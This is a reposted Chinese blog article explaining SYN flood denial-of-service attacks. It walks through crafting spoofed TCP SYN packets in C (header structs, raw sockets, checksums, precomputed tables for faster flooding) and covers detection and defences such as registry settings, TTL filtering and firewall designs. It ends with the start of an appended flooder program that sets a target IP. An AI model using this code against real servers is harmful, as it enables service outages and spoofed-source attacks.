JAVA天下

          小小博客,包羅萬有.
          隨筆 - 16, 文章 - 5, 評(píng)論 - 11, 引用 - 0

          導(dǎo)航

          <2009年9月>
          303112345
          6789101112
          13141516171819
          20212223242526
          27282930123
          45678910

          常用鏈接

          留言簿(1)

          隨筆分類

          隨筆檔案

          相冊

          收藏夾

          Prototype Web

          最新隨筆

          搜索

          •  

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          【轉(zhuǎn)】SYN 攻擊講解

           (1)SYN Flood
              第一部分 SYN Flood的基本原理
              SYN Flood是當(dāng)前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,發(fā)送大量偽造的TCP連接請(qǐng)求,從而使得被攻擊方資源耗盡(CPU滿負(fù)荷或內(nèi)存不足)的攻擊方式。要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起:大家都知道,TCP與UDP不同,它是基于連接的,也就是說:為了在服務(wù)端和客戶端之間傳送TCP數(shù)據(jù),必須先建立一個(gè)虛擬電路,也就是TCP連接,建立TCP連接的標(biāo)準(zhǔn)過程是這樣的:
             
              首先,請(qǐng)求端(客戶端)發(fā)送一個(gè)包含SYN標(biāo)志的TCP報(bào)文,SYN即同步(Synchronize),同步報(bào)文會(huì)指明客戶端使用的端口以及TCP連接的初始序號(hào);
             
              第二步,服務(wù)器在收到客戶端的SYN報(bào)文后,將返回一個(gè)SYN+ACK的報(bào)文,表示客戶端的請(qǐng)求被接受,同時(shí)TCP序號(hào)被加一,ACK即確認(rèn)(Acknowledgement)。
             
              第三步,客戶端也返回一個(gè)確認(rèn)報(bào)文ACK給服務(wù)器端,同樣TCP序列號(hào)被加一,到此一個(gè)TCP連接完成。以上的連接過程在TCP協(xié)議中被稱為三次握手(Three-way Handshake)。問題就出在TCP連接的三次握手中,假設(shè)一個(gè)用戶向服務(wù)器發(fā)送了SYN報(bào)文后突然死機(jī)或掉線,那么服務(wù)器在發(fā)出SYN+ACK應(yīng)答報(bào)文后是無法收到客戶端的ACK報(bào)文的(第三次握手無法完成),這種情況下服務(wù)器端一般會(huì)重試(再次發(fā)送SYN+ACK給客戶端)并等待一段時(shí)間后丟棄這個(gè)未完成的連接,這段時(shí)間的長度我們稱為SYN Timeout,一般來說這個(gè)時(shí)間是分鐘的數(shù)量級(jí)(大約為30秒-2分鐘);一個(gè)用戶出現(xiàn)異常導(dǎo)致服務(wù)器的一個(gè)線程等待1分鐘并不是什么很大的問題,但如果有一個(gè)惡意的攻擊者大量模擬這種情況,服務(wù)器端將為了維護(hù)一個(gè)非常大的半連接列表而消耗非常多的資源----數(shù)以萬計(jì)的半連接,即使是簡單的保存并遍歷也會(huì)消耗非常多的CPU時(shí)間和內(nèi)存,何況還要不斷對(duì)這個(gè)列表中的IP進(jìn)行SYN+ACK的重試。實(shí)際上如果服務(wù)器的TCP/IP棧不夠強(qiáng)大,最后的結(jié)果往往是堆棧溢出崩潰---即使服務(wù)器端的系統(tǒng)足夠強(qiáng)大,服務(wù)器端也將忙于處理攻擊者偽造的TCP連接請(qǐng)求而無暇理睬客戶的正常請(qǐng)求(畢竟客戶端的正常請(qǐng)求比率非常之小),此時(shí)從正常客戶的角度看來,服務(wù)器失去響應(yīng),這種情況我們稱作:服務(wù)器端受到了SYN Flood攻擊(SYN洪水攻擊)。
             
              從防御角度來說,有幾種簡單的解決方法:
              第一種是縮短SYN Timeout時(shí)間,由于SYN Flood攻擊的效果取決于服務(wù)器上保持的SYN半連接數(shù),這個(gè)值=SYN攻擊的頻度 x  SYN Timeout,所以通過縮短從接收到SYN報(bào)文到確定這個(gè)報(bào)文無效并丟棄改連接的時(shí)間,例如設(shè)置為20秒以下(過低的SYN Timeout設(shè)置可能會(huì)影響客戶的正常訪問),可以成倍的降低服務(wù)器的負(fù)荷。
             
              第二種方法是設(shè)置SYN Cookie,就是給每一個(gè)請(qǐng)求連接的IP地址分配一個(gè)Cookie,如果短時(shí)間內(nèi)連續(xù)受到某個(gè)IP的重復(fù)SYN報(bào)文,就認(rèn)定是受到了攻擊,以后從這個(gè)IP地址來的包會(huì)被一概丟棄。
             
              可是上述的兩種方法只能對(duì)付比較原始的SYN Flood攻擊,縮短SYN Timeout時(shí)間僅在對(duì)方攻擊頻度不高的情況下生效,SYN Cookie更依賴于對(duì)方使用真實(shí)的IP地址,如果攻擊者以數(shù)萬/秒的速度發(fā)送SYN報(bào)文,同時(shí)利用SOCK_RAW隨機(jī)改寫IP報(bào)文中的源地址,以上的方法將毫無用武之地。

              第二部份 SYN Flooder源碼解讀
              下面我們來分析SYN Flooder的程序?qū)崿F(xiàn)。首先,我們來看一下TCP報(bào)文的格式:
              0         1         2         3         4         5         6

              0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |      IP首部      |    TCP首部      |    TCP數(shù)據(jù)段     |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  圖一 TCP報(bào)文結(jié)構(gòu)
              如上圖所示,一個(gè)TCP報(bào)文由三個(gè)部分構(gòu)成:20字節(jié)的IP首部、20字節(jié)的TCP首部與不定長的數(shù)據(jù)段,(實(shí)際操作時(shí)可能會(huì)有可選的IP選項(xiàng),這種情況下TCP首部向后順延)由于我們只是發(fā)送一個(gè)SYN信號(hào),并不傳遞任何數(shù)據(jù),所以TCP數(shù)據(jù)段為空。TCP首部的數(shù)據(jù)結(jié)構(gòu)為:

              0                   1                   2                   3 
              0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |             十六位源端口號(hào)    |           十六位目標(biāo)端口號(hào)    |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                         三十二位序列號(hào)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                         三十二位確認(rèn)號(hào)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              | 四位  |           |U|A|P|R|S|F|                               |

              | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |

              | 長度  |           |G|K|H|T|N|N|                               |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |           十六位校驗(yàn)和        |         十六位緊急指針        |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                           選項(xiàng)(若有)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              |                           數(shù)據(jù)(若有)                         |

              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              圖二  TCP首部結(jié)構(gòu)
             
              根據(jù)TCP報(bào)文格式,我們定義一個(gè)結(jié)構(gòu)TCP_HEADER用來存放TCP首部:
              typedef struct _tcphdr             
              {
                  USHORT th_sport;               //16位源端口
                  USHORT th_dport;             //16位目的端口
                  unsigned int th_seq;         //32位序列號(hào)
                  unsigned int th_ack;         //32位確認(rèn)號(hào)
                  unsigned char th_lenres;        //4位首部長度+6位保留字中的4位
                  unsigned char th_flag;            //2 位保留字+6位標(biāo)志位
                  USHORT th_win;                 //16位窗口大小
                  USHORT th_sum;                 //16位校驗(yàn)和
                  USHORT th_urp;                 //16位緊急數(shù)據(jù)偏移量
              }TCP_HEADER;
              通過以正確的數(shù)據(jù)填充這個(gè)結(jié)構(gòu)并將TCP_HEADER.th_flag賦值為2(二進(jìn)制的00000010)我們能制造一個(gè)SYN的TCP報(bào)文,通過大量發(fā)送這個(gè)報(bào)文可以實(shí)現(xiàn)SYN Flood的效果。但是為了進(jìn)行IP欺騙從而隱藏自己,也為了躲避服務(wù)器的SYN Cookie檢查,還需要直接對(duì)IP首部進(jìn)行操作:
             
              0                   1                   2                   3 
              0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              | 版本  | 長度  | 八位服務(wù)類型  |         十六位總長度          |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |           十六位標(biāo)識(shí)          | 標(biāo)志|   十三位片偏移        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              | 八位生存時(shí)間  |   八位協(xié)議    |         十六位首部校驗(yàn)和      |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                       三十二位源IP地址                        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                     三十二位目的IP地址                      |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                           選項(xiàng)(若有)                        |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              |                             數(shù)據(jù)                          |
              +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                  圖三  IP首部結(jié)構(gòu)
             
              同樣定義一個(gè)IP_HEADER來存放IP首部
              typedef struct _iphdr
              {
                  unsigned char h_verlen;            //4 位首部長度+4位IP版本號(hào)
                  unsigned char tos;               //8位服務(wù)類型TOS
                  unsigned short total_len;      //16位總長度(字節(jié))
                  unsigned short ident;            //16 位標(biāo)識(shí)
                  unsigned short frag_and_flags;  //3位標(biāo)志位
                  unsigned char  ttl;              //8 位生存時(shí)間 TTL
                  unsigned char proto;         //8位協(xié)議號(hào)(TCP, UDP 或其他)
                  unsigned short checksum;        //16位IP首部校驗(yàn)和
                  unsigned int sourceIP;            //32 位源IP地址
                  unsigned int destIP;         //32位目的IP地址
              }IP_HEADER;
              然后通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));建立一個(gè)原始套接口,由于我們的IP源地址是偽造的,所以不能指望系統(tǒng)幫我們計(jì)算IP校驗(yàn)和,我們得在在setsockopt中設(shè)置IP_HDRINCL告訴系統(tǒng)自己填充IP首部并自己計(jì)算校驗(yàn)和:
             
              flag=TRUE;
              setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
             
              IP校驗(yàn)和的計(jì)算方法是:首先將IP首部的校驗(yàn)和字段設(shè)為0(IP_HEADER.checksum=0),然后計(jì)算整個(gè)IP首部(包括選項(xiàng))的二進(jìn)制反碼的和,一個(gè)標(biāo)準(zhǔn)的校驗(yàn)和函數(shù)如下所示:
             
              USHORT checksum(USHORT *buffer, int size)
              {
                  unsigned long cksum=0;
                  while(size >1) {
                      cksum+=*buffer++;
                      size -=sizeof(USHORT);
                  }
                  if(size ) cksum += *(UCHAR*)buffer;
                  cksum = (cksum >> 16) + (cksum & 0xffff);
                  cksum += (cksum >>16);
                  return (USHORT)(~cksum);
              }
             
              這個(gè)函數(shù)并沒有經(jīng)過任何的優(yōu)化,由于校驗(yàn)和函數(shù)是TCP/IP協(xié)議中被調(diào)用最多函數(shù)之一,所以一般說來,在實(shí)現(xiàn)TCP/IP棧時(shí),會(huì)根據(jù)操作系統(tǒng)對(duì)校驗(yàn)和函數(shù)進(jìn)行優(yōu)化。TCP首部檢驗(yàn)和與IP首部校驗(yàn)和的計(jì)算方法相同,在程序中使用同一個(gè)函數(shù)來計(jì)算。需要注意的是,由于TCP首部中不包含源地址與目標(biāo)地址等信息,為了保證TCP校驗(yàn)的有效性,在進(jìn)行TCP校驗(yàn)和的計(jì)算時(shí),需要增加一個(gè)TCP偽首部的校驗(yàn)和,定義如下:
             
              struct
              {
                  unsigned long saddr;     //源地址
                  unsigned long daddr;     //目的地址
                  char mbz;                    // 置空
                  char ptcl;                   //協(xié)議類型
                  unsigned short tcpl;     //TCP長度
              }psd_header;
             
              然后我們將這兩個(gè)字段復(fù)制到同一個(gè)緩沖區(qū)SendBuf中并計(jì)算TCP校驗(yàn)和:
              memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
              memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
              tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
             
              計(jì)算IP校驗(yàn)和的時(shí)候不需要包括TCP偽首部:
              memcpy(SendBuf,&ip_header,sizeof(ip_header));
              memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
              ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
              再將計(jì)算過校驗(yàn)和的IP首部與TCP首部復(fù)制到同一個(gè)緩沖區(qū)中就可以直接發(fā)送了:
              memcpy(SendBuf,&ip_header,sizeof(ip_header));
              sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
             
              因?yàn)檎麄€(gè)TCP報(bào)文中的所有部分都是我們自己寫入的(操作系統(tǒng)不會(huì)做任何干涉),所以我們可以在IP首部中放置隨機(jī)的源IP地址,如果偽造的源IP地址確實(shí)有人使用,他在接收到服務(wù)器的SYN+ACK報(bào)文后會(huì)發(fā)送一個(gè)RST報(bào)文(標(biāo)志位為00000100),通知服務(wù)器端不需要等待一個(gè)無效的連接,可是如果這個(gè)偽造IP并沒有綁定在任何的主機(jī)上,不會(huì)有任何設(shè)備去通知主機(jī)該連接是無效的(這正是TCP協(xié)議的缺陷),主機(jī)將不斷重試直到SYN Timeout時(shí)間后才能丟棄這個(gè)無效的半連接。所以當(dāng)攻擊者使用主機(jī)分布很稀疏的IP地址段進(jìn)行偽裝IP的SYN Flood攻擊時(shí),服務(wù)器主機(jī)承受的負(fù)荷會(huì)相當(dāng)?shù)母撸鶕?jù)測試,一臺(tái)PIII 550MHz+128MB+100Mbps的機(jī)器使用經(jīng)過初步優(yōu)化的SYN Flooder程序可以以16,000包/秒的速度發(fā)送TCP SYN報(bào)文,這樣的攻擊力已經(jīng)足以拖垮大部分WEB服務(wù)器了。稍微動(dòng)動(dòng)腦筋我們就會(huì)發(fā)現(xiàn),想對(duì)SYN Flooder程序進(jìn)行優(yōu)化是很簡單的,從程序構(gòu)架來看,攻擊時(shí)循環(huán)內(nèi)的代碼主要是進(jìn)行校驗(yàn)和計(jì)算與緩沖區(qū)的填充,一般的思路是提高校驗(yàn)和計(jì)算的速度,我甚至見過用匯編代碼編寫的校驗(yàn)和函數(shù),實(shí)際上,有另外一個(gè)變通的方法可以輕松實(shí)現(xiàn)優(yōu)化而又不需要高深的編程技巧和數(shù)學(xué)知識(shí),(老實(shí)說吧,我數(shù)學(xué)比較差:P),我們仔細(xì)研究了兩個(gè)不同源地址的TCP SYN報(bào)文后發(fā)現(xiàn),兩個(gè)報(bào)文的大部分字段相同(比如目的地址、協(xié)議等等),只有源地址和校驗(yàn)和不同(如果為了隱蔽,源端口也可以有變化,但是并不影響我們算法優(yōu)化的思路),如果我們事先計(jì)算好大量的源地址與校驗(yàn)和的對(duì)應(yīng)關(guān)系表(如果其他的字段有變化也可以加入這個(gè)表),等計(jì)算完畢了攻擊程序就只需要單純的組合緩沖區(qū)并發(fā)送(用指針來直接操作緩沖區(qū)的特定位置,從事先計(jì)算好的對(duì)應(yīng)關(guān)系表中讀出數(shù)據(jù),替換緩沖區(qū)相應(yīng)字段),這種簡單的工作完全取決于系統(tǒng)發(fā)送 IP包的速度,與程序的效率沒有任何關(guān)系,這樣,即使是CPU主頻較低的主機(jī)也能快速的發(fā)送大量TCP SYN攻擊包。如果考慮到緩沖區(qū)拼接的時(shí)間,甚至可以定義一個(gè)很大的緩沖區(qū)數(shù)組,填充完畢后再發(fā)送(雛鷹給這種方法想了一個(gè)很貼切的比喻:火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以后就可以連續(xù)猛烈地發(fā)射了:)。

              第三部分 SYN Flood攻擊的監(jiān)測與防御初探
                  對(duì)于SYN Flood攻擊,目前尚沒有很好的監(jiān)測和防御方法,不過如果系統(tǒng)管理員熟悉攻擊方法和系統(tǒng)架構(gòu),通過一系列的設(shè)定,也能從一定程度上降低被攻擊系統(tǒng)的負(fù)荷,減輕負(fù)面的影響。(這正是我撰寫本文的主要目的)一般來說,如果一個(gè)系統(tǒng)(或主機(jī))負(fù)荷突然升高甚至失去響應(yīng),使用Netstat 命令能看到大量SYN_RCVD的半連接(數(shù)量>500或占總連接數(shù)的10%以上),可以認(rèn)定,這個(gè)系統(tǒng)(或主機(jī))遭到了SYN Flood攻擊。遭到SYN Flood攻擊后,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記錄目前所有TCP連接狀態(tài)是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報(bào)文的所有細(xì)節(jié)也有助于以后追查和防御,需要記錄的字段有:源地址、IP首部中的標(biāo)識(shí)、TCP首部中的序列號(hào)、TTL值等,這些信息雖然很可能是攻擊者偽造的,但是用來分析攻擊者的心理狀態(tài)和攻擊程序也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也可以通過過濾特定TTL值的報(bào)文降低被攻擊系統(tǒng)的負(fù)荷(在這種情況下TTL值與攻擊報(bào)文不同的用戶就可以恢復(fù)正常訪問)前面曾經(jīng)提到可以通過縮短SYN Timeout時(shí)間和設(shè)置SYN Cookie來進(jìn)行SYN攻擊保護(hù),對(duì)于Win2000系統(tǒng),還可以通過修改注冊表降低SYN Flood的危害,在注冊表中作如下改動(dòng):
             
              首先,打開regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters增加一個(gè)SynAttackProtect的鍵值,類型為REG_DWORD,取值范圍是0-2,這個(gè)值決定了系統(tǒng)受到SYN攻擊時(shí)采取的保護(hù)措施,包括減少系統(tǒng)SYN+ACK的重試的次數(shù)等,默認(rèn)值是0(沒有任何保護(hù)措施),推薦設(shè)置是2;增加一個(gè)TcpMaxHalfOpen的鍵值,類型為REG_DWORD,取值范圍是100-0xFFFF,這個(gè)值是系統(tǒng)允許同時(shí)打開的半連接,默認(rèn)情況下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個(gè)值很難確定,取決于服務(wù)器TCP負(fù)荷的狀況和可能受到的攻擊強(qiáng)度,具體的值需要經(jīng)過試驗(yàn)才能決定。增加一個(gè)TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值范圍是 80-0xFFFF,默認(rèn)情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個(gè)值決定了在什么情況下系統(tǒng)會(huì)打開SYN攻擊保護(hù)。我們來分析一下Win2000的SYN攻擊保護(hù)機(jī)制:正常情況下,Win2K對(duì)TCP連接的三次握手有一個(gè)常規(guī)的設(shè)置,包括SYN Timeout時(shí)間、SYN-ACK的重試次數(shù)和SYN報(bào)文從路由器到系統(tǒng)再到Winsock的延時(shí)等,這個(gè)常規(guī)設(shè)置是針對(duì)系統(tǒng)性能進(jìn)行優(yōu)化的(安全和性能往往相互矛盾)所以可以給用戶提供方便快捷的服務(wù);一旦服務(wù)器受到攻擊,SYN半連接的數(shù)量超過TcpMaxHalfOpenRetried的設(shè)置,系統(tǒng)會(huì)認(rèn)為自己受到了SYN Flood攻擊,此時(shí)設(shè)置在SynAttackProtect鍵值中的選項(xiàng)開始作用,SYN Timeout時(shí)間被減短,SYN-ACK的重試次數(shù)減少,系統(tǒng)也會(huì)自動(dòng)對(duì)緩沖區(qū)中的報(bào)文進(jìn)行延時(shí),避免對(duì)TCP/IP堆棧造成過大的沖擊,力圖將攻擊危害減到最低;如果攻擊強(qiáng)度不斷增大,超過了TcpMaxHalfOpen值,此時(shí)系統(tǒng)已經(jīng)不能提供正常的服務(wù)了,更重要的是保證系統(tǒng)不會(huì)崩潰,所以系統(tǒng)將會(huì)丟棄任何超出TcpMaxHalfOpen值范圍的SYN報(bào)文(應(yīng)該是使用隨機(jī)丟包策略),保證系統(tǒng)的穩(wěn)定性。所以,對(duì)于需要進(jìn)行SYN攻擊保護(hù)的系統(tǒng),我們可以測試/預(yù)測一下訪問峰值時(shí)期的半連接打開量,以其作為參考設(shè)定TcpMaxHalfOpenRetried的值(保留一定的余量),然后再以TcpMaxHalfOpenRetried的1.25倍作為 TcpMaxHalfOpen值,這樣可以最大限度地發(fā)揮WIN2K自身的SYN攻擊保護(hù)機(jī)制。通過設(shè)置注冊表防御SYN Flood攻擊,采用的是“挨打”的策略,無論系統(tǒng)如何強(qiáng)大,始終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。
             
              退讓策略是基于SYN Flood攻擊代碼的一個(gè)缺陷,我們重新來分析一下SYN Flood攻擊者的流程:SYN Flood程序有兩種攻擊方式,基于IP的和基于域名的,前者是攻擊者自己進(jìn)行域名解析并將IP地址傳遞給攻擊程序,后者是攻擊程序自動(dòng)進(jìn)行域名解析,但是它們有一點(diǎn)是相同的,就是一旦攻擊開始,將不會(huì)再進(jìn)行域名解析,我們的切入點(diǎn)正是這里:假設(shè)一臺(tái)服務(wù)器在受到SYN Flood攻擊后迅速更換自己的IP地址,那么攻擊者仍在不斷攻擊的只是一個(gè)空的IP地址,并沒有任何主機(jī),而防御方只要將DNS解析更改到新的IP地址就能在很短的時(shí)間內(nèi)(取決于DNS的刷新時(shí)間)恢復(fù)用戶通過域名進(jìn)行的正常訪問。為了迷惑攻擊者,我們甚至可以放置一臺(tái)“犧牲”服務(wù)器讓攻擊者滿足于攻擊的“效果”(由于DNS緩沖的原因,只要攻擊者的瀏覽器不重起,他訪問的仍然是原先的IP地址)。
             
              同樣的原因,在眾多的負(fù)載均衡架構(gòu)中,基于DNS解析的負(fù)載均衡本身就擁有對(duì)SYN Flood的免疫力,基于DNS解析的負(fù)載均衡能將用戶的請(qǐng)求分配到不同IP的服務(wù)器主機(jī)上,攻擊者攻擊的永遠(yuǎn)只是其中一臺(tái)服務(wù)器,雖然說攻擊者也能不斷去進(jìn)行DNS請(qǐng)求從而打破這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請(qǐng)求可以幫助我們追查攻擊者的真正蹤跡(DNS請(qǐng)求不同于 SYN攻擊,是需要返回?cái)?shù)據(jù)的,所以很難進(jìn)行IP偽裝)。對(duì)于防火墻來說,防御SYN Flood攻擊的方法取決于防火墻工作的基本原理,一般說來,防火墻可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火墻稱為網(wǎng)關(guān)型防火墻,網(wǎng)關(guān)型防火墻與服務(wù)器、客戶機(jī)之間的關(guān)系如下圖所示:
             
              外部TCP連接                內(nèi)部TCP連接
              [客戶機(jī)] =================>[防火墻] =================>[服務(wù)器]
             
              如上圖所示,客戶機(jī)與服務(wù)器之間并沒有真正的TCP連接,客戶機(jī)與服務(wù)器之間的所有數(shù)據(jù)交換都是通過防火墻代理的,外部的DNS解析也同樣指向防火墻,所以如果網(wǎng)站被攻擊,真正受到攻擊的是防火墻,這種防火墻的優(yōu)點(diǎn)是穩(wěn)定性好,抗打擊能力強(qiáng),但是因?yàn)樗械腡CP報(bào)文都需要經(jīng)過防火墻轉(zhuǎn)發(fā),所以效率比較低由于客戶機(jī)并不直接與服務(wù)器建立連接,在TCP連接沒有完成時(shí)防火墻不會(huì)去向后臺(tái)的服務(wù)器建立新的 TCP連接,所以攻擊者無法越過防火墻直接攻擊后臺(tái)服務(wù)器,只要防火墻本身做的足夠強(qiáng)壯,這種架構(gòu)可以抵抗相當(dāng)強(qiáng)度的SYN Flood攻擊。但是由于防火墻實(shí)際建立的TCP連接數(shù)為用戶連接數(shù)的兩倍(防火墻兩端都需要建立TCP連接),同時(shí)又代理了所有的來自客戶端的TCP請(qǐng)求和數(shù)據(jù)傳送,在系統(tǒng)訪問量較大時(shí),防火墻自身的負(fù)荷會(huì)比較高,所以這種架構(gòu)并不能適用于大型網(wǎng)站。(我感覺,對(duì)于這樣的防火墻架構(gòu),使用 TCP_STATE攻擊估計(jì)會(huì)相當(dāng)有效:)
             
              工作在IP層或IP層之下的防火墻(路由型防火墻)工作原理有所不同,它與服務(wù)器、客戶機(jī)的關(guān)系如下圖所示:
             
              [防火墻] 數(shù)據(jù)包修改轉(zhuǎn)發(fā)
              [客戶機(jī)]========|=======================>[服務(wù)器]

              TCP連接
              客戶機(jī)直接與服務(wù)器進(jìn)行TCP連接,防火墻起的是路由器的作用,它截獲所有通過的包并進(jìn)行過濾,通過過濾的包被轉(zhuǎn)發(fā)給服務(wù)器,外部的DNS解析也直接指向服務(wù)器,這種防火墻的優(yōu)點(diǎn)是效率高,可以適應(yīng)100Mbps-1Gbps的流量,但是這種防火墻如果配置不當(dāng),不僅可以讓攻擊者越過防火墻直接攻擊內(nèi)部服務(wù)器,甚至有可能放大攻擊的強(qiáng)度,導(dǎo)致整個(gè)系統(tǒng)崩潰。
             
              在這兩種基本模型之外,有一種新的防火墻模型,我個(gè)人認(rèn)為還是比較巧妙的,它集中了兩種防火墻的優(yōu)勢,這種防火墻的工作原理如下所示:
             
              第一階段,客戶機(jī)請(qǐng)求與防火墻建立連接:
              SYN                           SYN+ACK                           ACK
              [客戶機(jī)]---- >[防火墻]   =>   [防火墻]-------- >[客戶機(jī)]   =>   [客戶機(jī)]--- >[防火墻]
             
              第二階段,防火墻偽裝成客戶機(jī)與后臺(tái)的服務(wù)器建立連接
              [防火墻]< =========== >[服務(wù)器]

              TCP連接
              第三階段,之后所有從客戶機(jī)來的TCP報(bào)文防火墻都直接轉(zhuǎn)發(fā)給后臺(tái)的服務(wù)器防火墻轉(zhuǎn)發(fā)
              [客戶機(jī)]< ======|======= >[服務(wù)器]
             
              TCP連接
              這種結(jié)構(gòu)吸取了上兩種防火墻的優(yōu)點(diǎn),既能完全控制所有的SYN報(bào)文,又不需要對(duì)所有的TCP數(shù)據(jù)報(bào)文進(jìn)行代理,是一種兩全其美的方法。   
              近來,國外和國內(nèi)的一些防火墻廠商開始研究帶寬控制技術(shù),如果能真正做到嚴(yán)格控制、分配帶寬,就能很大程度上防御絕大多數(shù)的拒絕服務(wù)攻擊,我們還是拭目以待吧。


              附錄:Win2000下的SYN Flood程序
              改編自Linux下Zakath編寫的SYN Flooder

              編譯環(huán)境:VC++6.0,編譯時(shí)需要包含ws2_32.lib

              //////////////////////////////////////////////////////////////////////////
              //                                                                      //
              //  SYN Flooder For Win2K by Shotgun                                    //
              //                                                                      //
              //  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
              //  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
              //                                                                      //
              //  Released:    [2001.4]                                                //
              //  Author:     [Shotgun]                                               //
              //  Homepage:                                                           //
              //              [http://IT.Xici.Net]                                    //
              //              [http://WWW.Patching.Net]                               //
              //                                                                      //
              //////////////////////////////////////////////////////////////////////////
              #include <winsock2.h>
              #include <Ws2tcpip.h>
              #include <stdio.h>
              #include <stdlib.h>
              #define SEQ 0x28376839
              #define SYN_DEST_IP "192.168.15.250"http://被攻擊的IP
              #define FAKE_IP "10.168.150.1"       //偽裝IP的起始值,本程序的偽裝IP覆蓋一個(gè)B類網(wǎng)段
              #define STATUS_FAILED 0xFFFF      //錯(cuò)誤返回值

              typedef struct _iphdr              //定義IP首部

              {

                  unsigned char h_verlen;            //4 位首部長度,4位IP版本號(hào)
                  unsigned char tos;               //8位服務(wù)類型TOS
                  unsigned short total_len;      //16位總長度(字節(jié))
                  unsigned short ident;            //16位標(biāo)識(shí)
                  unsigned short frag_and_flags;  //3位標(biāo)志位
                  unsigned char  ttl;              //8 位生存時(shí)間 TTL
                  unsigned char proto;         //8位協(xié)議 (TCP, UDP 或其他)
                  unsigned short checksum;        //16位IP首部校驗(yàn)和
                  unsigned int sourceIP;            //32位源IP地址
                  unsigned int destIP;         //32位目的IP地址
              }IP_HEADER;

              struct                              // 定義TCP偽首部
              {

                  unsigned long saddr;     //源地址
                  unsigned long daddr;     //目的地址
                      char mbz;
                      char ptcl;                   //協(xié)議類型
                      unsigned short tcpl;     //TCP長度
              }psd_header;

              typedef struct _tcphdr             //定義TCP首部
              {

                  USHORT th_sport;               //16位源端口
                  USHORT th_dport;               //16位目的端口
                  unsigned int th_seq;         //32位序列號(hào)
                  unsigned int th_ack;         //32位確認(rèn)號(hào)
                  unsigned char th_lenres;        //4位首部長度/6位保留字
                  unsigned char th_flag;            //6位標(biāo)志位
                  USHORT th_win;                 //16位窗口大小
                  USHORT th_sum;                 //16位校驗(yàn)和
                  USHORT th_urp;                 //16位緊急數(shù)據(jù)偏移量
              }TCP_HEADER;

           

